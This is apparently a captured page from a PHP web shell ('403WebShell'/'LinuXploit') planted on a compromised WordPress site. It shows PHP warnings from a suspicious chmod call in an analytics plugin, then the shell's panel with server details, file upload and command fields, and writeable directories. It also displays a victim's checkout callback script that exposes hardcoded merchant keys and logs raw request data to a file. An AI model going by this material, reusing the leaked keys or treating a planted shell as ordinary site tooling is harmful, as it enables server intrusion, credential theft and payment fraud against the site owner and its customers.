Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldsite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldsite/callback.php
<?php

	include './inc/include.php';
	include "$BASE/inc/inc.smtp.php";
	
	define('ACCOUNT_TEST', 1);
	define('ACCOUNT_LIVE', 2);
	
	$merchantkey = isset($_SERVER['PHP_AUTH_PW']) ?  $_SERVER['PHP_AUTH_PW'] : '';
	switch ($merchantkey) {
		case '8DCScHMizZkqJ9jFOgHDNw':
			$account = ACCOUNT_TEST;
			break;
		case '7y2u2kU_czVDCMEwawazXA':
			$account = ACCOUNT_LIVE;
			break;
		default:
			$account = 0;
			break;
	}
	
	if ($account) {
		ProcessPostedData($account);
	}
	
	header('HTTP/1.1 510 Transaction Rejected');

function ProcessPostedData($account) {
	$base = dirname(__FILE__);
	$fp = fopen("$base/inc/data/info.txt", 'a');
	$data = var_export($_SERVER, 1).
	        var_export($_POST, 1);
	fwrite($fp, $data);
	fclose($fp);
	
	$itemtype = isset($_POST['_type']) ?  $_POST['_type'] : '';
	if ($itemtype == 'new-order-notification') {
		SendEmailNotification($account);
	}
	exit;		// must return error 200 if ok, error 4xx or 5xx if failed
}

function SendEmailNotification($account) {
	global $HOST, $VARIABLE, $DATABASE;
	
	$body = <<<BLOCK

Google Order Number:  {$_POST['google-order-number']}
Time Stamp:           {$_POST['timestamp']}
Order Total:		  {$_POST['order-total_currency']}{$_POST['order-total']}

The order has not been accepted or paid for yet. Please
approve the purchase from https://checkout.google.com/sell/settings?section=Profile

BLOCK;

	$email = array('subject' => 'books website: new order from ' . $_POST['buyer-billing-address_contact-name'],
			  'from' => ADMIN_EMAIL,
			  'to' => 'Books <' . ADMIN_EMAIL . '>',
			  'body' => $body);
	if ($account == ACCOUNT_TEST) 
		$email['subject'] = '[TEST] ' . $email['subject'];
	$error = isp_SendEmail($email);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit